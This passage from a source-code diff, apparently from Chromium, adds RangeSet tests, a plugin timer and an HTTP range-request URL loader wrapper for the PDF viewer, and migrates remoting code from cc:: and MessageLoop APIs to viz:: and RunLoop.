+    range_set_2.Union(gfx::Range(25, 35));
+    range_set_2.Union(gfx::Range(45, 55));
+    EXPECT_TRUE(range_set_2.Intersects(range_set));
+  }
+  {
+    RangeSet range_set_2;
+    range_set_2.Union(gfx::Range(5, 10));
+    range_set_2.Union(gfx::Range(25, 30));
+    range_set_2.Union(gfx::Range(45, 50));
+    EXPECT_FALSE(range_set_2.Intersects(range_set));
+  }
+}
+
+TEST(RangeSetTest, Intersect) {
+  {
+    RangeSet range_set;
+    range_set.Union(gfx::Range(10, 20));
+    range_set.Union(gfx::Range(30, 40));
+    range_set.Union(gfx::Range(50, 60));
+
+    EXPECT_EQ("{[10,20)[30,40)[50,60)}", range_set.ToString());
+    range_set.Intersect(range_set);
+    EXPECT_EQ("{[10,20)[30,40)[50,60)}", range_set.ToString());
+    range_set.Intersect(gfx::Range(0, 100));
+    EXPECT_EQ("{[10,20)[30,40)[50,60)}", range_set.ToString());
+    range_set.Intersect(gfx::Range(0, 55));
+    EXPECT_EQ("{[10,20)[30,40)[50,55)}", range_set.ToString());
+    range_set.Intersect(gfx::Range(15, 100));
+    EXPECT_EQ("{[15,20)[30,40)[50,55)}", range_set.ToString());
+    range_set.Intersect(gfx::Range(17, 53));
+    EXPECT_EQ("{[17,20)[30,40)[50,53)}", range_set.ToString());
+    range_set.Intersect(gfx::Range(19, 45));
+    EXPECT_EQ("{[19,20)[30,40)}", range_set.ToString());
+    range_set.Intersect(gfx::Range(30, 45));
+    EXPECT_EQ("{[30,40)}", range_set.ToString());
+    range_set.Intersect(gfx::Range(35, 40));
+    EXPECT_EQ("{[35,40)}", range_set.ToString());
+    range_set.Intersect(gfx::Range(35, 35));
+    EXPECT_TRUE(range_set.IsEmpty());
+  }
+  {
+    RangeSet range_set;
+    range_set.Union(gfx::Range(10, 20));
+    range_set.Union(gfx::Range(30, 40));
+    range_set.Union(gfx::Range(50, 60));
+
+    RangeSet range_set_2;
+    range_set_2.Union(gfx::Range(12, 17));
+    range_set_2.Union(gfx::Range(25, 35));
+    range_set_2.Union(gfx::Range(39, 55));
+    range_set_2.Union(gfx::Range(59, 100));
+
+    range_set.Intersect(range_set_2);
+    EXPECT_EQ("{[12,17)[30,35)[39,40)[50,55)[59,60)}", range_set.ToString());
+  }
+}
+
+TEST(RangeSetTest, Subtract) {
+  {
+    RangeSet range_set;
+    range_set.Union(gfx::Range(10, 20));
+    range_set.Union(gfx::Range(30, 40));
+    range_set.Union(gfx::Range(50, 60));
+
+    EXPECT_EQ("{[10,20)[30,40)[50,60)}", range_set.ToString());
+    range_set.Subtract(gfx::Range(35, 35));
+    EXPECT_EQ("{[10,20)[30,40)[50,60)}", range_set.ToString());
+    range_set.Subtract(gfx::Range(0, 5));
+    EXPECT_EQ("{[10,20)[30,40)[50,60)}", range_set.ToString());
+    range_set.Subtract(gfx::Range(70, 80));
+    EXPECT_EQ("{[10,20)[30,40)[50,60)}", range_set.ToString());
+    range_set.Subtract(gfx::Range(35, 39));
+    EXPECT_EQ("{[10,20)[30,35)[39,40)[50,60)}", range_set.ToString());
+    range_set.Subtract(gfx::Range(15, 32));
+    EXPECT_EQ("{[10,15)[32,35)[39,40)[50,60)}", range_set.ToString());
+    range_set.Subtract(gfx::Range(15, 55));
+    EXPECT_EQ("{[10,15)[55,60)}", range_set.ToString());
+    range_set.Subtract(gfx::Range(0, 100));
+    EXPECT_EQ("{}", range_set.ToString());
+  }
+  {
+    RangeSet range_set;
+    range_set.Union(gfx::Range(10, 20));
+    range_set.Union(gfx::Range(30, 40));
+    range_set.Union(gfx::Range(50, 60));
+    range_set.Subtract(range_set);
+    EXPECT_EQ("{}", range_set.ToString());
+  }
+  {
+    RangeSet range_set;
+    range_set.Union(gfx::Range(10, 20));
+    range_set.Union(gfx::Range(30, 40));
+    range_set.Union(gfx::Range(50, 60));
+
+    RangeSet range_set_2;
+    range_set_2.Union(gfx::Range(12, 17));
+    range_set_2.Union(gfx::Range(25, 35));
+    range_set_2.Union(gfx::Range(39, 55));
+    range_set_2.Union(gfx::Range(59, 100));
+
+    range_set.Subtract(range_set_2);
+    EXPECT_EQ("{[10,12)[17,20)[35,39)[55,59)}", range_set.ToString());
+  }
+}
+
+TEST(RangeSetTest, Xor) {
+  {
+    RangeSet range_set;
+    range_set.Union(gfx::Range(10, 20));
+    range_set.Union(gfx::Range(30, 40));
+    range_set.Union(gfx::Range(50, 60));
+    range_set.Xor(range_set);
+    EXPECT_EQ("{}", range_set.ToString());
+  }
+  {
+    RangeSet range_set;
+    range_set.Union(gfx::Range(10, 20));
+    range_set.Union(gfx::Range(30, 40));
+    range_set.Union(gfx::Range(50, 60));
+
+    RangeSet range_set_2;
+    range_set_2.Union(gfx::Range(12, 17));
+    range_set_2.Union(gfx::Range(25, 35));
+    range_set_2.Union(gfx::Range(39, 55));
+    range_set_2.Union(gfx::Range(59, 100));
+
+    range_set.Xor(range_set_2);
+    EXPECT_EQ("{[10,12)[17,20)[25,30)[35,39)[40,50)[55,59)[60,100)}",
+              range_set.ToString());
+  }
+}
+
+TEST(RangeSetTest, OperationsOnEmptySet) {
+  RangeSet range_set;
+  range_set.Intersect(gfx::Range(10, 20));
+  range_set.Intersects(gfx::Range(10, 20));
+  range_set.Subtract(gfx::Range(10, 20));
+  range_set.Xor(gfx::Range(30, 40));
+  range_set.Union(gfx::Range(10, 20));
+}
+
+}  // namespace chrome_pdf
diff --git a/pdf/timer.cc b/pdf/timer.cc
new file mode 100644
index 0000000..e5956744
--- /dev/null
+++ b/pdf/timer.cc
@@ -0,0 +1,30 @@
+// Copyright 2016 The Chromium Authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+#include "pdf/timer.h"
+
+#include "ppapi/cpp/core.h"
+#include "ppapi/cpp/module.h"
+
+namespace chrome_pdf {
+
+Timer::Timer(int delay_in_milliseconds)
+    : delay_(delay_in_milliseconds), callback_factory_(this) {
+  PostCallback();
+}
+
+Timer::~Timer() {}
+
+void Timer::PostCallback() {
+  pp::CompletionCallback callback =
+      callback_factory_.NewCallback(&Timer::TimerProc);
+  pp::Module::Get()->core()->CallOnMainThread(delay_, callback, 0);
+}
+
+void Timer::TimerProc(int32_t /*result*/) {
+  PostCallback();
+  OnTimer();
+}
+
+}  // namespace chrome_pdf
diff --git a/pdf/timer.h b/pdf/timer.h
new file mode 100644
index 0000000..a27f78f3
--- /dev/null
+++ b/pdf/timer.h
@@ -0,0 +1,35 @@
+// Copyright 2016 The Chromium Authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+#ifndef PDF_TIMER_H_
+#define PDF_TIMER_H_
+
+#include "base/macros.h"
+#include "ppapi/utility/completion_callback_factory.h"
+
+namespace chrome_pdf {
+
+// Timer implementation for pepper plugins, based on pp::Core::CallOnMainThread.
+// We can not use base::Timer for plugins, because they have no
+// base::MessageLoop, on which it is based.
+class Timer {
+ public:
+  explicit Timer(int delay_in_milliseconds);
+  virtual ~Timer();
+
+  virtual void OnTimer() = 0;
+
+ private:
+  void PostCallback();
+  void TimerProc(int32_t result);
+
+  int delay_;
+  pp::CompletionCallbackFactory<Timer> callback_factory_;
+
+  DISALLOW_COPY_AND_ASSIGN(Timer);
+};
+
+}  // namespace chrome_pdf
+
+#endif  // PDF_TIMER_H_
diff --git a/pdf/url_loader_wrapper.h b/pdf/url_loader_wrapper.h
new file mode 100644
index 0000000..b95cfd2
--- /dev/null
+++ b/pdf/url_loader_wrapper.h
@@ -0,0 +1,62 @@
+// Copyright 2016 The Chromium Authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+#ifndef PDF_URL_LOADER_WRAPPER_H_
+#define PDF_URL_LOADER_WRAPPER_H_
+
+#include <string>
+
+#include "base/macros.h"
+#include "ppapi/cpp/completion_callback.h"
+
+namespace chrome_pdf {
+
+class URLLoaderWrapper {
+ public:
+  virtual ~URLLoaderWrapper() {}
+
+  // Returns length of content, will be -1, if it is unknown.
+  virtual int GetContentLength() const = 0;
+  // Returns if the response headers contains "accept-ranges".
+  virtual bool IsAcceptRangesBytes() const = 0;
+  // Returns if the content encoded in response.
+  virtual bool IsContentEncoded() const = 0;
+  // Returns response content type.
+  virtual std::string GetContentType() const = 0;
+  // Returns response content disposition.
+  virtual std::string GetContentDisposition() const = 0;
+  // Returns response status code.
+  virtual int GetStatusCode() const = 0;
+  // Returns if the response contains multi parts.
+  virtual bool IsMultipart() const = 0;
+  // If true, [start,end] - is byte range contains in response (include end).
+  // If false, response contains full document, start/end will be undefined.
+  virtual bool GetByteRange(int* start, int* end) const = 0;
+
+  // Close connection.
+  virtual void Close() = 0;
+  // Open new connection and send http range request.
+  virtual void OpenRange(const std::string& url,
+                         const std::string& referrer_url,
+                         uint32_t position,
+                         uint32_t size,
+                         const pp::CompletionCallback& cc) = 0;
+  // Read the response body. The size of the buffer must be large enough to
+  // hold the specified number of bytes to read.
+  // This function might perform a partial read.
+  virtual void ReadResponseBody(char* buffer,
+                                int buffer_size,
+                                const pp::CompletionCallback& cc) = 0;
+  // Returns the current download progress.
+  // Progress only refers to the response body and does not include the headers.
+  // If false, progress is unknown, bytes_received/total_bytes_to_be_received
+  // will be undefined.
+  virtual bool GetDownloadProgress(
+      int64_t* bytes_received,
+      int64_t* total_bytes_to_be_received) const = 0;
+};
+
+}  // namespace chrome_pdf
+
+#endif  // PDF_URL_LOADER_WRAPPER_H_
diff --git a/pdf/url_loader_wrapper_impl.cc b/pdf/url_loader_wrapper_impl.cc
new file mode 100644
index 0000000..b7bc808
--- /dev/null
+++ b/pdf/url_loader_wrapper_impl.cc
@@ -0,0 +1,325 @@
+// Copyright 2016 The Chromium Authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+#include "pdf/url_loader_wrapper_impl.h"
+
+#include "base/logging.h"
+#include "base/memory/ptr_util.h"
+#include "base/strings/string_util.h"
+#include "base/strings/stringprintf.h"
+#include "net/http/http_util.h"
+#include "pdf/timer.h"
+#include "ppapi/c/pp_errors.h"
+#include "ppapi/cpp/logging.h"
+#include "ppapi/cpp/url_request_info.h"
+#include "ppapi/cpp/url_response_info.h"
+
+namespace chrome_pdf {
+
+namespace {
+// We should read with delay to prevent block UI thread, and reduce CPU usage.
+const int kReadDelayMs = 2;
+
+pp::URLRequestInfo MakeRangeRequest(pp::Instance* plugin_instance,
+                                    const std::string& url,
+                                    const std::string& referrer_url,
+                                    uint32_t position,
+                                    uint32_t size) {
+  pp::URLRequestInfo request(plugin_instance);
+  request.SetURL(url);
+  request.SetMethod("GET");
+  request.SetFollowRedirects(false);
+  request.SetCustomReferrerURL(referrer_url);
+
+  // According to rfc2616, byte range specifies position of the first and last
+  // bytes in the requested range inclusively. Therefore we should subtract 1
+  // from the position + size, to get index of the last byte that needs to be
+  // downloaded.
+  std::string str_header =
+      base::StringPrintf("Range: bytes=%d-%d", position, position + size - 1);
+  pp::Var header(str_header.c_str());
+  request.SetHeaders(header);
+
+  return request;
+}
+
+bool GetByteRangeFromStr(const std::string& content_range_str,
+                         int* start,
+                         int* end) {
+  std::string range = content_range_str;
+  if (!base::StartsWith(range, "bytes", base::CompareCase::INSENSITIVE_ASCII))
+    return false;
+
+  range = range.substr(strlen("bytes"));
+  std::string::size_type pos = range.find('-');
+  std::string range_end;
+  if (pos != std::string::npos)
+    range_end = range.substr(pos + 1);
+  base::TrimWhitespaceASCII(range, base::TRIM_LEADING, &range);
+  base::TrimWhitespaceASCII(range_end, base::TRIM_LEADING, &range_end);
+  *start = atoi(range.c_str());
+  *end = atoi(range_end.c_str());
+  return true;
+}
+
+// If the headers have a byte-range response, writes the start and end
+// positions and returns true if at least the start position was parsed.
+// The end position will be set to 0 if it was not found or parsed from the
+// response.
+// Returns false if not even a start position could be parsed.
+bool GetByteRangeFromHeaders(const std::string& headers, int* start, int* end) {
+  net::HttpUtil::HeadersIterator it(headers.begin(), headers.end(), "\n");
+  while (it.GetNext()) {
+    if (base::LowerCaseEqualsASCII(it.name(), "content-range")) {
+      if (GetByteRangeFromStr(it.values().c_str(), start, end))
+        return true;
+    }
+  }
+  return false;
+}
+
+bool IsDoubleEndLineAtEnd(const char* buffer, int size) {
+  if (size < 2)
+    return false;
+
+  if (buffer[size - 1] == '\n' && buffer[size - 2] == '\n')
+    return true;
+
+  if (size < 4)
+    return false;
+
+  return buffer[size - 1] == '\n' && buffer[size - 2] == '\r' &&
+         buffer[size - 3] == '\n' && buffer[size - 4] == '\r';
+}
+
+}  // namespace
+
+class URLLoaderWrapperImpl::ReadStarter : public Timer {
+ public:
+  explicit ReadStarter(URLLoaderWrapperImpl* owner)
+      : Timer(kReadDelayMs), owner_(owner) {}
+  ~ReadStarter() override {}
+
+  // Timer overrides:
+  void OnTimer() override { owner_->ReadResponseBodyImpl(); }
+
+ private:
+  URLLoaderWrapperImpl* owner_;
+};
+
+URLLoaderWrapperImpl::URLLoaderWrapperImpl(pp::Instance* plugin_instance,
+                                           const pp::URLLoader& url_loader)
+    : plugin_instance_(plugin_instance),
+      url_loader_(url_loader),
+      callback_factory_(this) {
+  SetHeadersFromLoader();
+}
+
+URLLoaderWrapperImpl::~URLLoaderWrapperImpl() {
+  Close();
+  // We should call callbacks to prevent memory leaks.
+  // The callbacks don't do anything, because the objects that created the
+  // callbacks have been destroyed.
+  if (!did_open_callback_.IsOptional())
+    did_open_callback_.RunAndClear(-1);
+  if (!did_read_callback_.IsOptional())
+    did_read_callback_.RunAndClear(-1);
+}
+
+int URLLoaderWrapperImpl::GetContentLength() const {
+  return content_length_;
+}
+
+bool URLLoaderWrapperImpl::IsAcceptRangesBytes() const {
+  return accept_ranges_bytes_;
+}
+
+bool URLLoaderWrapperImpl::IsContentEncoded() const {
+  return content_encoded_;
+}
+
+std::string URLLoaderWrapperImpl::GetContentType() const {
+  return content_type_;
+}
+std::string URLLoaderWrapperImpl::GetContentDisposition() const {
+  return content_disposition_;
+}
+
+int URLLoaderWrapperImpl::GetStatusCode() const {
+  return url_loader_.GetResponseInfo().GetStatusCode();
+}
+
+bool URLLoaderWrapperImpl::IsMultipart() const {
+  return is_multipart_;
+}
+
+bool URLLoaderWrapperImpl::GetByteRange(int* start, int* end) const {
+  DCHECK(start);
+  DCHECK(end);
+  *start = byte_range_.start();
+  *end = byte_range_.end();
+  return byte_range_.IsValid();
+}
+
+bool URLLoaderWrapperImpl::GetDownloadProgress(
+    int64_t* bytes_received,
+    int64_t* total_bytes_to_be_received) const {
+  return url_loader_.GetDownloadProgress(bytes_received,
+                                         total_bytes_to_be_received);
+}
+
+void URLLoaderWrapperImpl::Close() {
+  url_loader_.Close();
+  read_starter_.reset();
+}
+
+void URLLoaderWrapperImpl::OpenRange(const std::string& url,
+                                     const std::string& referrer_url,
+                                     uint32_t position,
+                                     uint32_t size,
+                                     const pp::CompletionCallback& cc) {
+  did_open_callback_ = cc;
+  pp::CompletionCallback callback =
+      callback_factory_.NewCallback(&URLLoaderWrapperImpl::DidOpen);
+  int rv = url_loader_.Open(
+      MakeRangeRequest(plugin_instance_, url, referrer_url, position, size),
+      callback);
+  if (rv != PP_OK_COMPLETIONPENDING)
+    callback.Run(rv);
+}
+
+void URLLoaderWrapperImpl::ReadResponseBody(char* buffer,
+                                            int buffer_size,
+                                            const pp::CompletionCallback& cc) {
+  did_read_callback_ = cc;
+  buffer_ = buffer;
+  buffer_size_ = buffer_size;
+  read_starter_ = base::MakeUnique<ReadStarter>(this);
+}
+
+void URLLoaderWrapperImpl::ReadResponseBodyImpl() {
+  read_starter_.reset();
+  pp::CompletionCallback callback =
+      callback_factory_.NewCallback(&URLLoaderWrapperImpl::DidRead);
+  int rv = url_loader_.ReadResponseBody(buffer_, buffer_size_, callback);
+  if (rv != PP_OK_COMPLETIONPENDING) {
+    callback.Run(rv);
+  }
+}
+
+void URLLoaderWrapperImpl::SetResponseHeaders(
+    const std::string& response_headers) {
+  response_headers_ = response_headers;
+  ParseHeaders();
+}
+
+void URLLoaderWrapperImpl::ParseHeaders() {
+  content_length_ = -1;
+  accept_ranges_bytes_ = false;
+  content_encoded_ = false;
+  content_type_.clear();
+  content_disposition_.clear();
+  multipart_boundary_.clear();
+  byte_range_ = gfx::Range::InvalidRange();
+  is_multipart_ = false;
+
+  if (response_headers_.empty())
+    return;
+
+  net::HttpUtil::HeadersIterator it(response_headers_.begin(),
+                                    response_headers_.end(), "\n");
+  while (it.GetNext()) {
+    if (base::LowerCaseEqualsASCII(it.name(), "content-length")) {
+      content_length_ = atoi(it.values().c_str());
+    } else if (base::LowerCaseEqualsASCII(it.name(), "accept-ranges")) {
+      accept_ranges_bytes_ = base::LowerCaseEqualsASCII(it.values(), "bytes");
+    } else if (base::LowerCaseEqualsASCII(it.name(), "content-encoding")) {
+      content_encoded_ = true;
+    } else if (base::LowerCaseEqualsASCII(it.name(), "content-type")) {
+      content_type_ = it.values();
+      size_t semi_colon_pos = content_type_.find(';');
+      if (semi_colon_pos != std::string::npos) {
+        content_type_ = content_type_.substr(0, semi_colon_pos);
+      }
+      base::TrimWhitespaceASCII(content_type_, base::TRIM_ALL, &content_type_);
+      // multipart boundary.
+      std::string type = base::ToLowerASCII(it.values());
+      if (base::StartsWith(type, "multipart/", base::CompareCase::SENSITIVE)) {
+        const char* boundary = strstr(type.c_str(), "boundary=");
+        DCHECK(boundary);
+        if (boundary) {
+          multipart_boundary_ = std::string(boundary + 9);
+          is_multipart_ = !multipart_boundary_.empty();
+        }
+      }
+    } else if (base::LowerCaseEqualsASCII(it.name(), "content-disposition")) {
+      content_disposition_ = it.values();
+    } else if (base::LowerCaseEqualsASCII(it.name(), "content-range")) {
+      int start = 0;
+      int end = 0;
+      if (GetByteRangeFromStr(it.values().c_str(), &start, &end)) {
+        byte_range_ = gfx::Range(start, end);
+      }
+    }
+  }
+}
+
+void URLLoaderWrapperImpl::DidOpen(int32_t result) {
+  SetHeadersFromLoader();
+  did_open_callback_.RunAndClear(result);
+}
+
+void URLLoaderWrapperImpl::DidRead(int32_t result) {
+  if (multi_part_processed_) {
+    // Reset this flag so we look inside the buffer in calls of DidRead for this
+    // response only once.  Note that this code DOES NOT handle multi part
+    // responses with more than one part (we don't issue them at the moment, so
+    // they shouldn't arrive).
+    is_multipart_ = false;
+  }
+  if (result <= 0 || !is_multipart_) {
+    did_read_callback_.RunAndClear(result);
+    return;
+  }
+  if (result <= 2) {
+    // TODO(art-snake): Accumulate data for parse headers.
+    did_read_callback_.RunAndClear(result);
+    return;
+  }
+
+  char* start = buffer_;
+  size_t length = result;
+  multi_part_processed_ = true;
+  for (int i = 2; i < result; ++i) {
+    if (IsDoubleEndLineAtEnd(buffer_, i)) {
+      int start_pos = 0;
+      int end_pos = 0;
+      if (GetByteRangeFromHeaders(std::string(buffer_, i), &start_pos,
+                                  &end_pos)) {
+        byte_range_ = gfx::Range(start_pos, end_pos);
+        start += i;
+        length -= i;
+      }
+      break;
+    }
+  }
+  result = length;
+  if (result == 0) {
+    // Continue receiving.
+    return ReadResponseBodyImpl();
+  }
+  DCHECK(result > 0);
+  memmove(buffer_, start, result);
+
+  did_read_callback_.RunAndClear(result);
+}
+
+void URLLoaderWrapperImpl::SetHeadersFromLoader() {
+  pp::URLResponseInfo response = url_loader_.GetResponseInfo();
+  pp::Var headers_var = response.GetHeaders();
+
+  SetResponseHeaders(headers_var.is_string() ? headers_var.AsString() : "");
+}
+
+}  // namespace chrome_pdf
diff --git a/pdf/url_loader_wrapper_impl.h b/pdf/url_loader_wrapper_impl.h
new file mode 100644
index 0000000..b494818
--- /dev/null
+++ b/pdf/url_loader_wrapper_impl.h
@@ -0,0 +1,89 @@
+// Copyright 2016 The Chromium Authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+#ifndef PDF_URL_LOADER_WRAPPER_IMPL_H_
+#define PDF_URL_LOADER_WRAPPER_IMPL_H_
+
+#include <memory>
+#include <string>
+
+#include "base/macros.h"
+#include "pdf/url_loader_wrapper.h"
+#include "ppapi/cpp/url_loader.h"
+#include "ppapi/utility/completion_callback_factory.h"
+#include "ui/gfx/range/range.h"
+
+namespace pp {
+class Instance;
+};
+
+namespace chrome_pdf {
+
+class URLLoaderWrapperImpl : public URLLoaderWrapper {
+ public:
+  URLLoaderWrapperImpl(pp::Instance* plugin_instance,
+                       const pp::URLLoader& url_loader);
+  ~URLLoaderWrapperImpl() override;
+
+  // URLLoaderWrapper overrides:
+  int GetContentLength() const override;
+  bool IsAcceptRangesBytes() const override;
+  bool IsContentEncoded() const override;
+  std::string GetContentType() const override;
+  std::string GetContentDisposition() const override;
+  int GetStatusCode() const override;
+  bool IsMultipart() const override;
+  bool GetByteRange(int* start, int* end) const override;
+  bool GetDownloadProgress(int64_t* bytes_received,
+                           int64_t* total_bytes_to_be_received) const override;
+  void Close() override;
+  void OpenRange(const std::string& url,
+                 const std::string& referrer_url,
+                 uint32_t position,
+                 uint32_t size,
+                 const pp::CompletionCallback& cc) override;
+  void ReadResponseBody(char* buffer,
+                        int buffer_size,
+                        const pp::CompletionCallback& cc) override;
+
+  void SetResponseHeaders(const std::string& response_headers);
+
+ private:
+  class ReadStarter;
+
+  void SetHeadersFromLoader();
+  void ParseHeaders();
+  void DidOpen(int32_t result);
+  void DidRead(int32_t result);
+
+  void ReadResponseBodyImpl();
+
+  pp::Instance* const plugin_instance_;
+  pp::URLLoader url_loader_;
+  std::string response_headers_;
+
+  int content_length_ = -1;
+  bool accept_ranges_bytes_ = false;
+  bool content_encoded_ = false;
+  std::string content_type_;
+  std::string content_disposition_;
+  std::string multipart_boundary_;
+  gfx::Range byte_range_ = gfx::Range::InvalidRange();
+  bool is_multipart_ = false;
+  char* buffer_ = nullptr;
+  uint32_t buffer_size_ = 0;
+  bool multi_part_processed_ = false;
+
+  pp::CompletionCallback did_open_callback_;
+  pp::CompletionCallback did_read_callback_;
+  pp::CompletionCallbackFactory<URLLoaderWrapperImpl> callback_factory_;
+
+  std::unique_ptr<ReadStarter> read_starter_;
+
+  DISALLOW_COPY_AND_ASSIGN(URLLoaderWrapperImpl);
+};
+
+}  // namespace chrome_pdf
+
+#endif  // PDF_URL_LOADER_WRAPPER_IMPL_H_
diff --git a/ppapi/proxy/ppb_testing_proxy.cc b/ppapi/proxy/ppb_testing_proxy.cc
index 512bef9a..8e85ba2e 100644
--- a/ppapi/proxy/ppb_testing_proxy.cc
+++ b/ppapi/proxy/ppb_testing_proxy.cc
@@ -64,7 +64,7 @@
 void QuitMessageLoop(PP_Instance instance) {
   CHECK(PpapiGlobals::Get()->GetMainThreadMessageLoop()->
             BelongsToCurrentThread());
-  base::MessageLoop::current()->QuitNow();
+  base::RunLoop::QuitCurrentDeprecated();
 }
 
 uint32_t GetLiveObjectsForInstance(PP_Instance instance_id) {
diff --git a/remoting/host/DEPS b/remoting/host/DEPS
index 4857ee9..e87931e 100644
--- a/remoting/host/DEPS
+++ b/remoting/host/DEPS
@@ -2,6 +2,7 @@
   "+ash",
   "+cc/output",
   "+components/policy/core/common",
+  "+components/viz/common",
   "+extensions/browser/api/messaging",
   "+google_apis",
   "+jingle/glue",
diff --git a/remoting/host/chromeos/aura_desktop_capturer.cc b/remoting/host/chromeos/aura_desktop_capturer.cc
index 133923c..8942354 100644
--- a/remoting/host/chromeos/aura_desktop_capturer.cc
+++ b/remoting/host/chromeos/aura_desktop_capturer.cc
@@ -7,8 +7,8 @@
 #include <utility>
 
 #include "base/bind.h"
-#include "cc/output/copy_output_request.h"
-#include "cc/output/copy_output_result.h"
+#include "components/viz/common/quads/copy_output_request.h"
+#include "components/viz/common/quads/copy_output_result.h"
 #include "remoting/host/chromeos/skia_bitmap_desktop_frame.h"
 #include "ui/aura/window.h"
 #include "ui/aura/window_tree_host.h"
@@ -40,8 +40,8 @@
 }
 
 void AuraDesktopCapturer::CaptureFrame() {
-  std::unique_ptr<cc::CopyOutputRequest> request =
-      cc::CopyOutputRequest::CreateBitmapRequest(base::BindOnce(
+  std::unique_ptr<viz::CopyOutputRequest> request =
+      viz::CopyOutputRequest::CreateBitmapRequest(base::BindOnce(
           &AuraDesktopCapturer::OnFrameCaptured, weak_factory_.GetWeakPtr()));
 
   gfx::Rect window_rect(desktop_window_->bounds().size());
@@ -51,7 +51,7 @@
 }
 
 void AuraDesktopCapturer::OnFrameCaptured(
-    std::unique_ptr<cc::CopyOutputResult> result) {
+    std::unique_ptr<viz::CopyOutputResult> result) {
   if (result->IsEmpty()) {
     callback_->OnCaptureResult(DesktopCapturer::Result::ERROR_TEMPORARY,
                                nullptr);
diff --git a/remoting/host/chromeos/aura_desktop_capturer.h b/remoting/host/chromeos/aura_desktop_capturer.h
index e10294b..2d726664 100644
--- a/remoting/host/chromeos/aura_desktop_capturer.h
+++ b/remoting/host/chromeos/aura_desktop_capturer.h
@@ -11,7 +11,7 @@
 #include "base/memory/weak_ptr.h"
 #include "third_party/webrtc/modules/desktop_capture/desktop_capturer.h"
 
-namespace cc {
+namespace viz {
 class CopyOutputResult;
 }  // namespace cc
 
@@ -40,7 +40,7 @@
   friend class AuraDesktopCapturerTest;
 
   // Called when a copy of the layer is captured.
-  void OnFrameCaptured(std::unique_ptr<cc::CopyOutputResult> result);
+  void OnFrameCaptured(std::unique_ptr<viz::CopyOutputResult> result);
 
   // Points to the callback passed to webrtc::DesktopCapturer::Start().
   webrtc::DesktopCapturer::Callback* callback_;
diff --git a/remoting/host/chromeos/aura_desktop_capturer_unittest.cc b/remoting/host/chromeos/aura_desktop_capturer_unittest.cc
index 82af9189..76f0a7d 100644
--- a/remoting/host/chromeos/aura_desktop_capturer_unittest.cc
+++ b/remoting/host/chromeos/aura_desktop_capturer_unittest.cc
@@ -9,7 +9,7 @@
 
 #include <utility>
 
-#include "cc/output/copy_output_result.h"
+#include "components/viz/common/quads/copy_output_result.h"
 #include "testing/gmock/include/gmock/gmock.h"
 #include "testing/gtest/include/gtest/gtest.h"
 #include "third_party/skia/include/core/SkBitmap.h"
@@ -66,7 +66,7 @@
     bitmap->installPixels(info, const_cast<unsigned char*>(frame_data), 12);
 
     capturer_->OnFrameCaptured(
-        cc::CopyOutputResult::CreateBitmapResult(std::move(bitmap)));
+        viz::CopyOutputResult::CreateBitmapResult(std::move(bitmap)));
   }
 
   std::unique_ptr<AuraDesktopCapturer> capturer_;
diff --git a/remoting/host/setup/start_host_main.cc b/remoting/host/setup/start_host_main.cc
index 0fa66f8..a31c867 100644
--- a/remoting/host/setup/start_host_main.cc
+++ b/remoting/host/setup/start_host_main.cc
@@ -44,6 +44,9 @@
 // The main message loop.
 base::MessageLoop* g_message_loop = nullptr;
 
+// The active RunLoop.
+base::RunLoop* g_active_run_loop = nullptr;
+
 // Lets us hide the PIN that a user types.
 void SetEcho(bool echo) {
 #if defined(OS_WIN)
@@ -109,7 +112,7 @@
       break;
   }
 
-  g_message_loop->QuitNow();
+  g_active_run_loop->Quit();
 }
 
 std::string GetAuthorizationCodeUri() {
@@ -237,9 +240,11 @@
 
   // Run the message loop until the StartHost completion callback.
   base::RunLoop run_loop;
+  g_active_run_loop = &run_loop;
   run_loop.Run();
 
   g_message_loop = nullptr;
+  g_active_run_loop = nullptr;
 
   // Destroy the HostStarter and URLRequestContextGetter before stopping the
   // IO thread.
diff --git a/remoting/host/token_validator_factory_impl_unittest.cc b/remoting/host/token_validator_factory_impl_unittest.cc
index 76e0567e..43f8ae1 100644
--- a/remoting/host/token_validator_factory_impl_unittest.cc
+++ b/remoting/host/token_validator_factory_impl_unittest.cc
@@ -116,18 +116,18 @@
 
   void SuccessCallback(const std::string& shared_secret) {
     EXPECT_FALSE(shared_secret.empty());
-    message_loop_.QuitWhenIdle();
+    run_loop_.QuitWhenIdle();
   }
 
   void FailureCallback(const std::string& shared_secret) {
     EXPECT_TRUE(shared_secret.empty());
-    message_loop_.QuitWhenIdle();
+    run_loop_.QuitWhenIdle();
   }
 
   void DeleteOnFailureCallback(const std::string& shared_secret) {
     EXPECT_TRUE(shared_secret.empty());
     token_validator_.reset();
-    message_loop_.QuitWhenIdle();
+    run_loop_.QuitWhenIdle();
   }
 
  protected:
@@ -179,6 +179,7 @@
   }
 
   base::MessageLoop message_loop_;
+  base::RunLoop run_loop_;
   scoped_refptr<RsaKeyPair> key_pair_;
   scoped_refptr<net::URLRequestContextGetter> request_context_getter_;
   scoped_refptr<TokenValidatorFactoryImpl> token_validator_factory_;
@@ -195,7 +196,7 @@
   token_validator_->ValidateThirdPartyToken(
       kToken, base::Bind(&TokenValidatorFactoryImplTest::SuccessCallback,
                              base::Unretained(this)));
-  base::RunLoop().Run();
+  run_loop_.Run();
 }
 
 TEST_F(TokenValidatorFactoryImplTest, BadToken) {
@@ -207,7 +208,7 @@
   token_validator_->ValidateThirdPartyToken(
       kToken, base::Bind(&TokenValidatorFactoryImplTest::FailureCallback,
                              base::Unretained(this)));
-  base::RunLoop().Run();
+  run_loop_.Run();
 }
 
 TEST_F(TokenValidatorFactoryImplTest, BadScope) {
@@ -220,7 +221,7 @@
   token_validator_->ValidateThirdPartyToken(
       kToken, base::Bind(&TokenValidatorFactoryImplTest::FailureCallback,
                          base::Unretained(this)));
-  base::RunLoop().Run();
+  run_loop_.Run();
 }
 
 TEST_F(TokenValidatorFactoryImplTest, DeleteOnFailure) {
@@ -233,7 +234,7 @@
       kToken, base::Bind(
           &TokenValidatorFactoryImplTest::DeleteOnFailureCallback,
           base::Unretained(this)));
-  base::RunLoop().Run();
+  run_loop_.Run();
 }
 
 TEST_F(TokenValidatorFactoryImplTest, DeleteOnStartError) {
@@ -246,7 +247,7 @@
       kToken,
